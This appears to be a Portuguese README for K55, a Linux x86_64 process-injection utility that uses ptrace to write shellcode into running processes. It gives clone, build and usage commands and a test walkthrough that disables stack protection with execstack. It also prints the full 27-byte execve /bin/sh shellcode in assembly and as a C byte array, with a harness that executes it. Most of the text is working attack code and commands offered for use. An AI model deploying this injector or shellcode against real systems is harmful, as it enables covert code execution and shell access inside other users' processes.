
Utilitário de Injeção de Processos para Linux x86_64
(pronunciado: "kay fifty-five")
O K55 é uma ferramenta de injeção de payloads usada para injetar payloads de shellcode x86_64 em processos em execução. O utilitário foi desenvolvido usando técnicas modernas de C++11, bem como algumas funções tradicionais C do Linux, como ptrace(). O shellcode gerado no processo alvo tem 27 bytes e executa /bin/sh (gera um shell bash) dentro do espaço de endereço do alvo. No futuro, permitirei que os usuários insiram seu próprio shellcode via argumentos de linha de comando.
git clone https://github.com/josh0xA/K55.gitcd K55chmod +x build-install.sh./build-install.shUsage: ./K55 <process-name>
r-xp ou execstack. Teste 1) Em um terminal (diretório K55/), execute: ./k55_example_process/k55_test_process
Teste 2) Em outro terminal, execute o injetor: sudo ./K55 k55_test_process
Obviamente, as chamadas ptrace(PTRACE_POKETEXT...) não são as mais disfarçadas. Portanto, alguns aplicativos podem limitar o efeito do K55. No entanto, para testes de segurança, certifique-se de ativar o execstack para seus aplicativos alvo. Por exemplo, se estou testando no gdb, antes de injetar, executaria o seguinte: sudo execstack -s /usr/bin/gdb. Instale o execstack pelo gerenciador de pacotes da sua distribuição. Para usuários de Arch Linux, você pode encontrar o execstack no AUR.
Nota: A seguir está uma demonstração. A string do payload já está codificada no K55.
main:
xor eax, eax
mov rbx, 0xFF978CD091969DD1
neg rbx
push rbx
push rsp
pop rdi
cdq
push rdx
push rdi
push rsp
pop rsi
mov al, 0x3b
syscall
#include <stdio.h>
#include <string.h>
// Shellcode breakdown of the assembly code.
char code[] = "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05";
int main()
{
printf("len:%d bytes\n", strlen(code));
(*(void(*)()) code)();
return 0;
}
http://shell-storm.org/shellcode/files/shellcode-806.php
https://0x00sec.org/t/linux-infecting-running-processes/1097
Licença MIT
Copyright (c) Josh Schiavone